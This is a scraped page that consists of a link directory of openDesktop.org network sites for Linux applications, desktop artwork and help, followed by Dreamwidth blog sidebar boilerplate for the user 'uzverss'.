CLI-Apps.org Command Line Applications
Qt-Apps.org Free Qt Applications

Qt-Prop.org Proprietary Qt Applications
Maemo-Apps.org Applications for the Maemo Plattform
Java-Apps.org Free Java Applications
eyeOS-Apps.org Free eyeOS Applications
Wine-Apps.org Wine Applications

Server-Apps.org Server Applications
apps.ownCloud.com ownCloud Applications

KDE Store New applications for the KDE-Desktop
KDE-Look.org Artwork for the KDE-Desktop
GNOME-Look.org Artwork for the GNOME-Desktop
mate-look.org Eyecandy for your Mate Desktop
cinnamon-look.org Eyecandy for your Cinnamon Desktop
Xfce-Look.org Artwork for the Xfce-Desktop
Box-Look.org Artwork for your Windowmanager
Everything for your Enlightenment Desktop
E17-Stuff.org Artwork for Enlightenment E-17
e16 Theme Previews
Window Maker Themes
Fluxbox themes 1
Fluxbox themes 2

Beryl-Themes.org Artwork for the Beryl Windowmanager
Compiz-Themes.org Artwork for the Compiz Windowmanager
EDE-Look.org Themes for your EDE Desktop

Debian-Art.org Stuff for Debian
Gentoo-Art.org Artwork for Gentoo Linux
SUSE-Art.org Artwork for openSUSE
Ubuntu-Art.org Artwork for Ubuntu
Kubuntu-Art.org Artwork for Kubuntu
LinuxMint-Art.org Artwork for Linux Mint
Arch-Stuff.org Art And Stuff for Arch Linux
Frugalware-Art.org Themes for Frugalware
Fedora-Art.org Artwork for Fedora Linux
Mandriva-Art.org Artwork for Mandriva Linux

KDE-Files.org Files for KDE Applications
OpenTemplate.org Documents for OpenOffice.org
GIMPStuff.org Files for GIMP
InkscapeStuff.org Files for Inkscape
ScribusStuff.org Files for Scribus
BlenderStuff.org Textures and Objects for Blender
VLC-Addons.org Themes and Extensions for VLC

KDE-Help.org Support for your KDE Desktop
GNOME-Help.org Support for your GNOME Desktop
Xfce-Help.org Support for your Xfce Desktop

GNOME Shell Extensions дополнения для GNOME Shell

openDesktop.org:    LinuxDaily.com    Linux42.org    OpenSkillz.com    Open-PC.com

Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Jan. 22nd, 2026 06:21 pm
Powered by Dreamwidth Studios